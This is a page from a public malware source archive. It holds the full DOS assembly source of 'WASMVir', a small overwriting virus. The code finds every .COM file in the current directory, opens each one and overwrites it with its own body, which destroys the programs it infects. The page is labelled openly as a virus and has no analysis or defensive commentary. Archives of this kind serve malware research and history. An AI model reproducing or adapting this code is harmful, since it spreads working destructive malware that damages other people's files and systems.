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https://github.com/vxunderground/MalwareSourceCode.git
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55 lines
653 B
NASM
55 lines
653 B
NASM
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;WASMVir --> A lame overwriting virus to demonstrate WASM
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;Overwrites all files in the current directory
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;By Lord Natas
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org 100h
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Start
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mov ah,4eh
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mov cx,7
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mov dx,offset FileSpec
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Virus
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;----- find file
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int 21h
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jc EndV
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;----- open file
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mov ax,3d01h
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mov dx,9eh
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int 21h
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jc Close
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xchg bx,ax
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;----- write file
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mov ah,40h
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mov cl,Length
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mov dx,offset Start
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int 21h
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Close
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;----- close file
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mov ah,3eh
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int 21h
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mov ah,4fh
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jmps Virus
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EndV
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db 00C3h ;"RET"
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;----- data
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db 'WASMVir'
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FileSpec db '*.COM',0
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TheEnd
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Length equ offset TheEnd - offset Start
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